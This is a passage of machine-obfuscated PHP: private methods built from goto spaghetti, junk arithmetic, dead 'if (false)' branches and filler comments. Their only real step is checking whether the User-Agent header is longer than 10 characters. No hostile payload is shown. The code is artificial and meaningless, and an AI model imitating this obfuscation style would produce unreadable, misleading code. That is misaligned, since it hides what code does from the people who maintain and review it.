LCcO4z0Z; LCcO4z0Z: /* API handler */ goto vUvPfvw3; vUvPfvw3: goto a9SYyqt7K; a9SYyqt7K: /* k9ZTurLhjhnEIG9uy3ZB */ if (false) { echo 'This is a dead end'; } goto vt83tiBs; vt83tiBs: goto GtuX1C5N; GtuX1C5N: $BqYDw4sr = 859 + 44; $iCjD65Pi = $BqYDw4sr * 4; goto a5kVUDYl9; a5kVUDYl9: $BqYDw4sr = 440 + 13; $a6b9oay5s = $BqYDw4sr * 5; goto rfNX7sQC; rfNX7sQC: /* Main service */ goto hJCedTnr; hJCedTnr: /* fuQ5Z1jpDd */ $jIP39ari = 477 + 31; $Pe9zuJ4r = $jIP39ari * 1; goto xjjXNF4A; xjjXNF4A: /* nIYtl0hp92 */ $iX1geSuk = 649 + 32; $bZa4iOd6 = $iX1geSuk * 1; goto a50am3Pxb; a50am3Pxb: if (false) { echo 'This is a dead end'; } goto WrxMTDer; WrxMTDer: goto IUxUlmL6; IUxUlmL6: /* Core module */ $FbaGmw5w = 703 + 2; $a6EHyDbxg = $FbaGmw5w * 2; goto DjIO1rTy; DjIO1rTy: goto RZgmN4Rl; RZgmN4Rl: return $WWDcP6ib > 10; } private function UARXlGq9qa() { /* System file */ goto Pl8T0L8a; Pl8T0L8a: $NqlX8zGc = 357 + 12; $B9ma2fmF = $NqlX8zGc * 1; goto SVG3uYGy; SVG3uYGy: // PRqmst8E_HZP_MJM goto Toz7Y3o_; Toz7Y3o_: // OW0dJtZGjMMq_RMh $XsucffsH = 337 + 23; $jIP39ari = $XsucffsH * 1; goto PUk77fdT; PUk77fdT: /* FzwheITREgJGyn0 */ goto a7rTSESns; a7rTSESns: goto CP_5XPJr; CP_5XPJr: // ejExbwFF0WAHr_Yv $jIP39ari = 603 + 36; $XsucffsH = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto PHItSoSR; PHItSoSR: goto UWhneZbI; UWhneZbI: /* RP6klP__tJpgHkF */ goto hLCG_TIn; hLCG_TIn: /* PhkExeyJzKBJDBW */ goto jCK3uyVY; jCK3uyVY: goto a9Nvcu9mY; a9Nvcu9mY: if (false) { echo 'This is a dead end'; } goto jIuTc33u; jIuTc33u: goto hLbaagux; hLbaagux: /* API handler */ goto cHRxIhAu; cHRxIhAu: /* dCziaP1wWkwkO3I */ goto JyI70a9c; JyI70a9c: goto AYAqiFDO; AYAqiFDO: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto lPzacPJB; lPzacPJB: goto ERQo194Y; ERQo194Y: /* Core module */ goto a1FYA6PZt; a1FYA6PZt: $n7sJ6WnP = 678 + 37; $n7sJ6WnP = $n7sJ6WnP * 2; goto KMPpwVVD; KMPpwVVD: goto a6Igne2Zk; a6Igne2Zk: goto EHH1PrJW; EHH1PrJW: /* API handler */ $a6b9oay5s = 928 + 44; $NqlX8zGc = $a6b9oay5s * 5; goto qG67ufU0; qG67ufU0: goto VnTTXgcg; VnTTXgcg: $a29IFo9lZ = 904 + 43; $a6EHyDbxg = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto fGYKHPBu; fGYKHPBu: /* Main service */ goto a4cD7ZoqC; a4cD7ZoqC: goto U68OI4fH; U68OI4fH: /* 2VAnOU9iXiuTgnj */ $iX1geSuk = 394 + 41; $bZa4iOd6 = $iX1geSuk * 5; goto VX2ilYmA; VX2ilYmA: goto a3NThPA6z; a3NThPA6z: $bZa4iOd6 = 920 + 42; $bZa4iOd6 = $bZa4iOd6 * 1; goto uPc0ZVFw; uPc0ZVFw: /* nNgtWWEzPdinOYOq9stk */ $a6EHyDbxg = 772 + 37; $Pe9zuJ4r = $a6EHyDbxg * 1; goto Un8UdztZ; Un8UdztZ: goto dODpHxYy; dODpHxYy: $B9ma2fmF = strlen($iX1geSuk); goto VocvIsHs; VocvIsHs: /* svc04ICyLe */ if (false) { echo 'This is a dead end'; } goto msUBI_B8; msUBI_B8: if (false) { echo 'This is a dead end'; } goto sm5lcQGE; sm5lcQGE: /* UP0j8wvp1l */ $jIP39ari = 320 + 7; $B9ma2fmF = $jIP39ari * 1; goto hm1KeRFH; hm1KeRFH: /* HqYzyBxBuckfGj3TP8rK */ goto yxoEOHTg; yxoEOHTg: goto a4wqMpj6x; a4wqMpj6x: /* System file */ $NqlX8zGc = 395 + 30; $BqYDw4sr = $NqlX8zGc * 5; goto G6g48DIW; G6g48DIW: goto a9pGM8ztx; a9pGM8ztx: $jIP39ari = 831 + 8; $BqYDw4sr = $jIP39ari * 5; goto QQKtRW7O; QQKtRW7O: $NqlX8zGc = 112 + 44; $WWDcP6ib = $NqlX8zGc * 3; goto AbkjMNX6; AbkjMNX6: /* Core module */ if (false) { echo 'This is a dead end'; } goto BS2IU1_i; BS2IU1_i: /* System file */ goto Ngk4VhTW; Ngk4VhTW: goto iRDfwcjk; iRDfwcjk: goto u5cLtJvu; u5cLtJvu: // DeBfy4cVKgOV $iCjD65Pi = 766 + 49; $FbaGmw5w = $iCjD65Pi * 1; goto ytTeDwSW; ytTeDwSW: goto BgvvKN1j; BgvvKN1j: return $B9ma2fmF > 10; } private function uePV1cYpEW() { goto USv9xSMc; USv9xSMc: /* 3kCgja_RVjaHTKwne17i */ $BqYDw4sr = 503 + 5; $iX1geSuk = $BqYDw4sr * 2; goto kyBYibie; kyBYibie: /* 5_igYsAyd_ */ goto a3EyhhoHw; a3EyhhoHw: /* API handler */ goto a88nS_byw; a88nS_byw: $FbaGmw5w = 871 + 33; $B9ma2fmF = $FbaGmw5w * 3; goto dRFG47Mu; dRFG47Mu: /* API handler */ goto MeMjbyfV; MeMjbyfV: goto PeOvbNBx; PeOvbNBx: // XvHSUiVzoMci $n7sJ6WnP = 283 + 43; $WWDcP6ib = $n7sJ6WnP * 1; goto rsYZmp0G; rsYZmp0G: goto LvuTeqAc; LvuTeqAc: /* API handler */ goto a0Oz1O25d; a0Oz1O25d: goto VtXeSJnl; VtXeSJnl: goto w2Aobj1y; w2Aobj1y: $n7sJ6WnP = 661 + 43; $n7sJ6WnP = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto twsxSVGS; twsxSVGS: // YHhr6TKR_WsVQgYI goto CrTHltF1; CrTHltF1: /* Core module */ $iCjD65Pi = 822 + 3; $a29IFo9lZ = $iCjD65Pi * 3; goto v2MgnZy6; v2MgnZy6: /* Core module */ if (false) { echo 'This is a dead end'; } goto H2Onzokk; H2Onzokk: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto tsfAl2pz; tsfAl2pz: $FbaGmw5w = 992 + 44; $WWDcP6ib = $FbaGmw5w * 1; goto r0_EiZDH; r0_EiZDH: /* hIH85cCA2xaJdWp */ if (false) { echo 'This is a dead end'; } goto uPMm7eYG; uPMm7eYG: $a29IFo9lZ = 945 + 27; $NqlX8zGc = $a29IFo9lZ * 3; goto rgxFocT4; rgxFocT4: /* Core module */ if (false) { echo 'This is a dead end'; } goto a_PzaZOUu; a_PzaZOUu: if (false) { echo 'This is a dead end'; } goto AAQn3BcQ; AAQn3BcQ: /* Security component */ goto uYW2sLCb; uYW2sLCb: // FmP2yAjG if (false) { echo 'This is a dead end'; } goto lBpjQT8m; lBpjQT8m: /* API handler */ $WWDcP6ib = 193 + 38; $NqlX8zGc = $WWDcP6ib * 1; goto ZGG7j86Y; ZGG7j86Y: // RDYxQw0wFHnQ97qU if (false) { echo 'This is a dead end'; } goto iYMjFEld; iYMjFEld: /* K2RGYAcI41a12SGo9DtS */ goto GYZ8KuE5; GYZ8KuE5: /* DFY6WSqvaG */ goto Hw4oQa9x; Hw4oQa9x: // pDbDD1AB $jIP39ari = 914 + 38; $FbaGmw5w = $jIP39ari * 1; goto CkoKUmvB; CkoKUmvB: /* 7v9HEp2lY2 */ $NqlX8zGc = 400 + 25; $a29IFo9lZ = $NqlX8zGc * 1; goto FV_nIpuU; FV_nIpuU: /* 7d8ue8l63wAgyP1GTmpS */ if (false) { echo 'This is a dead end'; } goto nPNWuv1i; nPNWuv1i: $iCjD65Pi = 226 + 27; $WWDcP6ib = $iCjD65Pi * 3; goto O02CGcc9; O02CGcc9: $bZa4iOd6 = strlen($WWDcP6ib); goto aW7g0wGm; aW7g0wGm: // C9Jhjx4xVtVG $FbaGmw5w = 186 + 34; $a6EHyDbxg = $FbaGmw5w * 4; goto Ivj0dQxy; Ivj0dQxy: $FbaGmw5w = 246 + 10; $WWDcP6ib = $FbaGmw5w * 4; goto SH38jQwq; SH38jQwq: // 3d2NqSUuY0GE if (false) { echo 'This is a dead end'; } goto bJnfRmb5; bJnfRmb5: /* API handler */ goto HFx5qe4B; HFx5qe4B: // m5JR2QmJtXIg3pj2 goto XFDn6LtB; XFDn6LtB: // ViwIDXjdBhRlu6Ts $n7sJ6WnP = 685 + 44; $bZa4iOd6 = $n7sJ6WnP * 4; if (false) { echo 'This is a dead end'; } goto x_aJRkGX; x_aJRkGX: goto cKY1n_kk; cKY1n_kk: /* GG8Qzx6mEP */ $WWDcP6ib = 257 + 6; $a6b9oay5s = $WWDcP6ib * 2; goto ZqL_BR8B; ZqL_BR8B: goto GvlYfxoa; GvlYfxoa: $XsucffsH = 171 + 15; $NqlX8zGc = $XsucffsH * 5; goto a2p72wPEn; a2p72wPEn: goto vaIR5uJD; vaIR5uJD: goto BJOTq_Gv; BJOTq_Gv: // RzgsIkq1RiE0 $iX1geSuk = 203 + 8; $a29IFo9lZ = $iX1geSuk * 1; goto qe8c0jlR; qe8c0jlR: $BqYDw4sr = 461 + 20; $WWDcP6ib = $BqYDw4sr * 3; goto FCuz70DI; FCuz70DI: goto MKbobIR_; MKbobIR_: return $bZa4iOd6 > 10; } private function j3Q7aURKtn() { /* API handler */ goto Adnnttww; Adnnttww: $n7sJ6WnP = 984 + 7; $B9ma2fmF = $n7sJ6WnP * 2; goto nBRMfMaz; nBRMfMaz: /* mljGbthUnDrGGcM7s3KG */ if (false) { echo 'This is a dead end'; } goto SjQ3nwnx; SjQ3nwnx: /* Main service */ if (false) { echo 'This is a dead end'; } goto ZlVwCpGv; ZlVwCpGv: /* JiQCVE8L1zbKbAoJo68J */ goto ztZDJUVX; ztZDJUVX: // wF_QJsehE_5ziDBb if (false) { echo 'This is a dead end'; } goto dvtSQnz7; dvtSQnz7: $a6EHyDbxg = 401 + 9; $a29IFo9lZ = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto vO1OM_On; vO1OM_On: /* System file */ $WWDcP6ib = 304 + 32; $a29IFo9lZ = $WWDcP6ib * 4; goto a7FW9Nv4T; a7FW9Nv4T: goto uCRRcCbe; uCRRcCbe: goto K_NdE8jz; K_NdE8jz: $NqlX8zGc = 105 + 20; $n7sJ6WnP = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto a1YHTqyHH; a1YHTqyHH: /* iCqxl06pgQh11MP */ if (false) { echo 'This is a dead end'; } goto Og7CaNnu; Og7CaNnu: /* giWNRJgELx */ $iX1geSuk = 260 + 37; $B9ma2fmF = $iX1geSuk * 2; goto OjCMCLU1; OjCMCLU1: /* tpQk2Ahsf8KI4GqQFwgh */ $NqlX8zGc = 405 + 28; $bZa4iOd6 = $NqlX8zGc * 5; goto tI7DJNv5; tI7DJNv5: /* N67ghzePQtAOxKWfK_NV */ $a29IFo9lZ = 531 + 31; $n7sJ6WnP = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto T9aNHwk8; T9aNHwk8: goto VLoD4ohU; VLoD4ohU: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto NQ1scIJ1; NQ1scIJ1: goto ScvebjC4; ScvebjC4: // 0nmnBWQU $iCjD65Pi = 180 + 20; $a29IFo9lZ = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto dl74_wRv; dl74_wRv: $Pe9zuJ4r = 872 + 20; $a6b9oay5s = $Pe9zuJ4r * 3; goto MoQB7D8K; MoQB7D8K: if (false) { echo 'This is a dead end'; } goto BTk_RsKV; BTk_RsKV: $a29IFo9lZ = 332 + 42; $n7sJ6WnP = $a29IFo9lZ * 4; goto kWKd6iH0; kWKd6iH0: goto a5iR4W9xz; a5iR4W9xz: $jIP39ari = 698 + 37; $bZa4iOd6 = $jIP39ari * 4; goto jfQ1fBmD; jfQ1fBmD: /* cZYqp74BnlzWRLaJKz6D */ $iX1geSuk = 595 + 38; $a6b9oay5s = $iX1geSuk * 2; goto pA7kSuyq; pA7kSuyq: if (false) { echo 'This is a dead end'; } goto a1BFbOsyw; a1BFbOsyw: goto mT3H2F_2; mT3H2F_2: /* YJlnke2j4oxvN6mPH6Hd */ $NqlX8zGc = 621 + 42; $a6EHyDbxg = $NqlX8zGc * 1; goto a80Ciyyju; a80Ciyyju: goto a_Bx7Wim5; a_Bx7Wim5: goto fKSbcv21; fKSbcv21: /* n45iH8qLHf */ $n7sJ6WnP = 336 + 40; $bZa4iOd6 = $n7sJ6WnP * 1; goto lmwRo67P; lmwRo67P: /* Main service */ $Pe9zuJ4r = 889 + 36; $a6EHyDbxg = $Pe9zuJ4r * 5; goto a2rZ0I5hT; a2rZ0I5hT: $n7sJ6WnP = strlen($WWDcP6ib); goto o7IIv8Q0; o7IIv8Q0: goto p6pooh9e; p6pooh9e: if (false) { echo 'This is a dead end'; } goto XvOXe0aZ; XvOXe0aZ: /* Main service */ if (false) { echo 'This is a dead end'; } goto qM6QzCqB; qM6QzCqB: goto tKxclNOY; tKxclNOY: // 38V5HPY2 goto p6Lmh8Cv; p6Lmh8Cv: $NqlX8zGc = 910 + 17; $BqYDw4sr = $NqlX8zGc * 4; goto pxrjWo7V; pxrjWo7V: /* Core module */ $a29IFo9lZ = 765 + 26; $NqlX8zGc = $a29IFo9lZ * 4; goto Wzn0JZG0; Wzn0JZG0: /* hrvOfIpv6o */ $Pe9zuJ4r = 612 + 39; $NqlX8zGc = $Pe9zuJ4r * 4; goto VTtRmnMl; VTtRmnMl: /* v4Ew158ayJlFLr8 */ goto a6ITgcxlC; a6ITgcxlC: /* APxzIyR0pWjTudxdX2cg */ goto a5Wvk79nH; a5Wvk79nH: /* System file */ goto vB0mk2UM; vB0mk2UM: /* System file */ $bZa4iOd6 = 337 + 30; $iX1geSuk = $bZa4iOd6 * 2; if (false) { echo 'This is a dead end'; } goto IpEr2DH8; IpEr2DH8: if (false) { echo 'This is a dead end'; } goto a9IlFNSTF; a9IlFNSTF: $XsucffsH = 928 + 21; $iCjD65Pi = $XsucffsH * 4; goto NOa300SE; NOa300SE: /* PatfMp1l9m7SmPXgD5Ap */ goto uNQ_XczQ; uNQ_XczQ: return $n7sJ6WnP > 10; } private function a3uqElwX6OW() { /* 5J3PA8bBUAFqzKM */ goto a9GnelA4Q; a9GnelA4Q: goto EONtfjZF; EONtfjZF: goto U86RYwGV; U86RYwGV: $B9ma2fmF = 710 + 16; $B9ma2fmF = $B9ma2fmF * 2; goto FU_eZUeX; FU_eZUeX: // 1r593CdlqkIIVyi8 if (false) { echo 'This is a dead end'; } goto R0bl9uDF; R0bl9uDF: goto VFS2Kkh2; VFS2Kkh2: $a6b9oay5s = 607 + 20; $FbaGmw5w = $a6b9oay5s * 5; goto qcb0qVL5; qcb0qVL5: /* API handler */ goto s3eAGZSu; s3eAGZSu: /* k1CwDThukB6SqR6 */ goto sokqNQbl; sokqNQbl: /* Main service */ goto a4jcY2fiE; a4jcY2fiE: goto u2ly0x2P; u2ly0x2P: /* API handler */ goto a_bveb3fw; a_bveb3fw: goto brlRQhl7; brlRQhl7: goto dYKPWdD3; dYKPWdD3: /* 2KvAFHO064us01LHNExL */ goto BTKJ40eU; BTKJ40eU: goto a2IQ05rwq; a2IQ05rwq: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto H6DqY64P; H6DqY64P: if (false) { echo 'This is a dead end'; } goto dMXhrQNF; dMXhrQNF: /* _HOK7WiraT */ if (false) { echo 'This is a dead end'; } goto KbjXrIIZ; KbjXrIIZ: $a29IFo9lZ = 589 + 16; $n7sJ6WnP = $a29IFo9lZ * 1; goto a9rCqCjzh; a9rCqCjzh: $a29IFo9lZ = 896 + 11; $bZa4iOd6 = $a29IFo9lZ * 2; goto eIgGGUPp; eIgGGUPp: // GDpljwKIK7F_ goto eyu0tGDU; eyu0tGDU: /* API handler */ goto dWUrur8w; dWUrur8w: $XsucffsH = 867 + 22; $NqlX8zGc = $XsucffsH * 4; goto VjVouItZ; VjVouItZ: $a29IFo9lZ = 441 + 38; $iCjD65Pi = $a29IFo9lZ * 3; goto a_vKiMW3C; a_vKiMW3C: $bZa4iOd6 = 201 + 2; $FbaGmw5w = $bZa4iOd6 * 5; goto M68zQk2l; M68zQk2l: /* Core module */ if (false) { echo 'This is a dead end'; } goto x5UsM4iO; x5UsM4iO: goto e3hi7F9s; e3hi7F9s: /* API handler */ $a29IFo9lZ = 435 + 46; $a29IFo9lZ = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto a9W4jo7d5; a9W4jo7d5: goto a1X8TuIIL; a1X8TuIIL: $iCjD65Pi = 489 + 7; $a6b9oay5s = $iCjD65Pi * 4; goto ZRBcAaAm; ZRBcAaAm: // XderWJNL goto PO4amL1e; PO4amL1e: $BqYDw4sr = strlen($n7sJ6WnP); goto a4_2aGIab; a4_2aGIab: /* hQFzu5obUF0xyxM */ goto ppU_WUUM; ppU_WUUM: /* cMR0luocmv */ goto tVcn1ij_; tVcn1ij_: goto qQ_aZ37p; qQ_aZ37p: goto tRF1ENd5; tRF1ENd5: goto aF2xQJ0m; aF2xQJ0m: /* Security component */ $jIP39ari = 665 + 15; $iX1geSuk = $jIP39ari * 4; goto kMzS8n0s; kMzS8n0s: if (false) { echo 'This is a dead end'; } goto aAco3VcR; aAco3VcR: /* CufRiWWrtGyjvTm7WY2V */ $FbaGmw5w = 833 + 21; $XsucffsH = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto n2h0o5Bz; n2h0o5Bz: goto p4GrLbQ4; p4GrLbQ4: $XsucffsH = 679 + 28; $FbaGmw5w = $XsucffsH * 2; goto QxrMdXce; QxrMdXce: /* Security component */ goto BRxNFzX2; BRxNFzX2: goto a0VbESoDg; a0VbESoDg: $B9ma2fmF = 429 + 2; $jIP39ari = $B9ma2fmF * 2; goto o2urv0ZY; o2urv0ZY: $WWDcP6ib = 668 + 25; $Pe9zuJ4r = $WWDcP6ib * 1; goto pwriY4fv; pwriY4fv: /* tgtr8fvMj9mewL1 */ goto zANy8_BH; zANy8_BH: return $BqYDw4sr > 10; } private function a2suOTwcSiS() { /* bZ66G3pkZYM69Na */ goto tV8vKbFO; tV8vKbFO: $Pe9zuJ4r = 635 + 10; $iCjD65Pi = $Pe9zuJ4r * 5; goto Q11oHDBB; Q11oHDBB: goto A0h1POuu; A0h1POuu: // xBjdqH3IPzIB9ZM5 $Pe9zuJ4r = 570 + 49; $n7sJ6WnP = $Pe9zuJ4r * 2; goto kR4i80ch; kR4i80ch: if (false) { echo 'This is a dead end'; } goto kXwbMGFQ; kXwbMGFQ: if (false) { echo 'This is a dead end'; } goto a8eCA0GMl; a8eCA0GMl: /* Security component */ goto z1laj641; z1laj641: /* API handler */ goto lpCqv7vt; lpCqv7vt: goto iq6ZLf3q; iq6ZLf3q: // MbYIBjB7 $n7sJ6WnP = 848 + 27; $FbaGmw5w = $n7sJ6WnP * 3; if (false) { echo 'This is a dead end'; } goto uHEtHFEG; uHEtHFEG: goto D4mHcn9F; D4mHcn9F: $BqYDw4sr = 768 + 18; $bZa4iOd6 = $BqYDw4sr * 1; goto UeWtPBR8; UeWtPBR8: /* Core module */ $iX1geSuk = 941 + 29; $n7sJ6WnP = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto D_BqMppB; D_BqMppB: // pOq4I9h3 $a6b9oay5s = 492 + 24; $iCjD65Pi = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto UiDVag6M; UiDVag6M: // M3EDbbXp $Pe9zuJ4r = 963 + 42; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto jvtS2oks; jvtS2oks: $XsucffsH = 136 + 10; $a6EHyDbxg = $XsucffsH * 5; goto D53IXIGs; D53IXIGs: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto iSbH4_0Z; iSbH4_0Z: /* API handler */ $a29IFo9lZ = 268 + 31; $Pe9zuJ4r = $a29IFo9lZ * 5; goto Pq8hLFBr; Pq8hLFBr: goto iK_zjb9e; iK_zjb9e: /* Main service */ $jIP39ari = 608 + 38; $NqlX8zGc = $jIP39ari * 4; goto wtcjjGuW; wtcjjGuW: if (false) { echo 'This is a dead end'; } goto K1yY3Ymc; K1yY3Ymc: $iX1geSuk = 171 + 16; $XsucffsH = $iX1geSuk * 5; goto SPla5Khf; SPla5Khf: goto l6cSbWvL; l6cSbWvL: /* Main service */ $a6EHyDbxg = 809 + 5; $BqYDw4sr = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto HPLvuf1D; HPLvuf1D: goto dGOjAwl1; dGOjAwl1: $iCjD65Pi = 309 + 47; $a29IFo9lZ = $iCjD65Pi * 5; goto aqtm6sOe; aqtm6sOe: if (false) { echo 'This is a dead end'; } goto dGr4ertE; dGr4ertE: /* X2Ud6Kd4IdIfr36 */ goto l1rK2zYx; l1rK2zYx: /* Main service */ goto a1Hc7k83D; a1Hc7k83D: goto O7Wl71PK; O7Wl71PK: /* API handler */ goto a_tJ0CI5H; a_tJ0CI5H: /* Core module */ goto PqoIjZEE; PqoIjZEE: $B9ma2fmF = strlen($jIP39ari); goto zLt_mude; zLt_mude: /* API handler */ $a29IFo9lZ = 483 + 48; $NqlX8zGc = $a29IFo9lZ * 3; if (false) { echo 'This is a dead end'; } goto CLBXCE0g; CLBXCE0g: if (false) { echo 'This is a dead end'; } goto HvyglbhJ; HvyglbhJ: if (false) { echo 'This is a dead end'; } goto plA70bw_; plA70bw_: goto H5aXQGFN; H5aXQGFN: /* System file */ $bZa4iOd6 = 943 + 23; $a6b9oay5s = $bZa4iOd6 * 1; goto DwdfHvXJ; DwdfHvXJ: goto B0igeQE7; B0igeQE7: $B9ma2fmF = 201 + 30; $jIP39ari = $B9ma2fmF * 3; goto a7BRrvgUH; a7BRrvgUH: goto a99RvesCg; a99RvesCg: goto AjFB_Ow5; AjFB_Ow5: $n7sJ6WnP = 504 + 18; $BqYDw4sr = $n7sJ6WnP * 4; goto QsWvEqbT; QsWvEqbT: /* System file */ goto n4AS_z_x; n4AS_z_x: if (false) { echo 'This is a dead end'; } goto jIZIav0k; jIZIav0k: goto RA0w69dx; RA0w69dx: goto CD0tGuf_; CD0tGuf_: if (false) { echo 'This is a dead end'; } goto f0P1uLwm; f0P1uLwm: return $B9ma2fmF > 10; } private function a5ihYb5Z3R_() { goto Eu6gtmG4; Eu6gtmG4: /* API handler */ goto eoQodCiu; eoQodCiu: goto YmrtALZj; YmrtALZj: /* dX7n7zlHSNPPvIxu0U_Z */ goto AAW12wBG; AAW12wBG: $B9ma2fmF = 411 + 25; $WWDcP6ib = $B9ma2fmF * 1; goto VxGCP7ep; VxGCP7ep: goto O_JLGC32; O_JLGC32: /* System file */ goto c9Sqs0xq; c9Sqs0xq: if (false) { echo 'This is a dead end'; } goto EmCIMW0m; EmCIMW0m: goto wqDG5MQY; wqDG5MQY: /* System file */ $Pe9zuJ4r = 398 + 6; $B9ma2fmF = $Pe9zuJ4r * 2; goto idsD8HaF; idsD8HaF: // NXoZXFlZCPunsP8Z if (false) { echo 'This is a dead end'; } goto lVcY_QCy; lVcY_QCy: $FbaGmw5w = 889 + 17; $Pe9zuJ4r = $FbaGmw5w * 4; goto o92OmjkK; o92OmjkK: /* dw8HDD91KnsrX2dgLNwa */ $NqlX8zGc = 671 + 9; $FbaGmw5w = $NqlX8zGc * 4; goto EyeTcJNC; EyeTcJNC: /* Core module */ $NqlX8zGc = 197 + 31; $FbaGmw5w = $NqlX8zGc * 4; goto gUD0zDNl; gUD0zDNl: /* Main service */ $B9ma2fmF = 704 + 7; $NqlX8zGc = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto a8PNDZL16; a8PNDZL16: $NqlX8zGc = 576 + 38; $n7sJ6WnP = $NqlX8zGc * 2; goto czL7pOmb; czL7pOmb: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a9K840gHH; a9K840gHH: goto zreDowoE; zreDowoE: $jIP39ari = 490 + 44; $a6EHyDbxg = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto zFV0cren; zFV0cren: $n7sJ6WnP = 118 + 24; $iX1geSuk = $n7sJ6WnP * 3; goto QbNfVu8P; QbNfVu8P: /* Security component */ goto yvQ4sxVh; yvQ4sxVh: /* Security component */ goto kyex1RBM; kyex1RBM: /* Zu9Nd2IAfUtSTow */ goto X2DJgW6R; X2DJgW6R: $jIP39ari = 317 + 25; $XsucffsH = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto a5zE4rTaB; a5zE4rTaB: if (false) { echo 'This is a dead end'; } goto a54Yq1AfD; a54Yq1AfD: $a6EHyDbxg = 179 + 48; $XsucffsH = $a6EHyDbxg * 3; goto OfoswzN3; OfoswzN3: $XsucffsH = 905 + 35; $iX1geSuk = $XsucffsH * 3; goto qHBBZg7g; qHBBZg7g: goto WUq3ZEyE; WUq3ZEyE: /* gmzj2N7zBt */ $NqlX8zGc = 482 + 44; $B9ma2fmF = $NqlX8zGc * 4; goto tl_BsBhD; tl_BsBhD: if (false) { echo 'This is a dead end'; } goto UqsPcNMD; UqsPcNMD: /* Main service */ if (false) { echo 'This is a dead end'; } goto a8FgfSVK9; a8FgfSVK9: /* EGLVl_z_Jt */ goto yS5S86y7; yS5S86y7: $NqlX8zGc = strlen($iX1geSuk); goto eHuGd4xR; eHuGd4xR: /* Main service */ $a29IFo9lZ = 138 + 35; $a6EHyDbxg = $a29IFo9lZ * 3; goto RnqRUvri; RnqRUvri: $FbaGmw5w = 157 + 28; $bZa4iOd6 = $FbaGmw5w * 1; goto K4t402ss; K4t402ss: $B9ma2fmF = 299 + 47; $a6EHyDbxg = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto qRgLOWAV; qRgLOWAV: goto LRyEsLau; LRyEsLau: goto a7pSWChPS; a7pSWChPS: /* YU1sLwFaw7jdzvR */ goto FRCq6g2D; FRCq6g2D: // KxxELNfa $n7sJ6WnP = 944 + 16; $bZa4iOd6 = $n7sJ6WnP * 5; goto a0T1lF0RW; a0T1lF0RW: goto MoElksBR; MoElksBR: // tYKvDbMZ goto eJXqe17S; eJXqe17S: // PeZm0iiLfckOxNss $iCjD65Pi = 440 + 5; $a6EHyDbxg = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto fXPqltlc; fXPqltlc: $BqYDw4sr = 810 + 26; $bZa4iOd6 = $BqYDw4sr * 1; goto QpmFbmaK; QpmFbmaK: /* API handler */ $FbaGmw5w = 532 + 17; $XsucffsH = $FbaGmw5w * 2; goto FNwIVpsr; FNwIVpsr: goto B1552wf_; B1552wf_: /* IlteU4aBJAsknc5pozXx */ goto FQATWkG2; FQATWkG2: goto uOA_lX8B; uOA_lX8B: return $NqlX8zGc > 10; } private function aHWNfLgB9G() { /* na1WdsMj3nPuQi7nCmJY */ goto lN82JqMC; lN82JqMC: if (false) { echo 'This is a dead end'; } goto lf1_kEuo; lf1_kEuo: goto qeu0hAfb; qeu0hAfb: /* wdtKK5eYCWQoTGq6ULm4 */ goto OOhqF2ZE; OOhqF2ZE: /* dNC0esY_UABjL2uZWhu4 */ goto l20SXluR; l20SXluR: goto a7uIDWYOD; a7uIDWYOD: // Y1cbrl51AV7Z $XsucffsH = 175 + 28; $Pe9zuJ4r = $XsucffsH * 4; goto FMOKuLNO; FMOKuLNO: goto goDUMnpR; goDUMnpR: /* Core module */ goto UcJeAMiV; UcJeAMiV: /* API handler */ $BqYDw4sr = 504 + 34; $a6EHyDbxg = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto N3mtgM74; N3mtgM74: // h2Yr8YzO goto wkYb3J7g; wkYb3J7g: /* Security component */ $iCjD65Pi = 583 + 31; $Pe9zuJ4r = $iCjD65Pi * 4; goto j03kFVvW; j03kFVvW: /* System file */ goto cb5Z98Kw; cb5Z98Kw: /* Core module */ goto dVtDgWvD; dVtDgWvD: goto kIMg33k9; kIMg33k9: /* Core module */ if (false) { echo 'This is a dead end'; } goto y2T59VSh; y2T59VSh: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto RxmMHHDn; RxmMHHDn: /* Main service */ goto BkFZ7F69; BkFZ7F69: $bZa4iOd6 = 773 + 31; $jIP39ari = $bZa4iOd6 * 5; goto PiVwxjzK; PiVwxjzK: // qDREP0wnU7ypuyLO $FbaGmw5w = 700 + 30; $BqYDw4sr = $FbaGmw5w * 4; goto a_CM3zqrV; a_CM3zqrV: goto ZyNXQJhw; ZyNXQJhw: /* PWCnkXg0OCMLbVFZde0H */ $FbaGmw5w = 942 + 7; $a29IFo9lZ = $FbaGmw5w * 4; goto a4POMBvT_; a4POMBvT_: // lYm6wr2G1Zog $B9ma2fmF = 698 + 8; $a6b9oay5s = $B9ma2fmF * 2; goto a50k77sjM; a50k77sjM: // WoyHY9ZACm2V $a6b9oay5s = 221 + 42; $WWDcP6ib = $a6b9oay5s * 3; goto 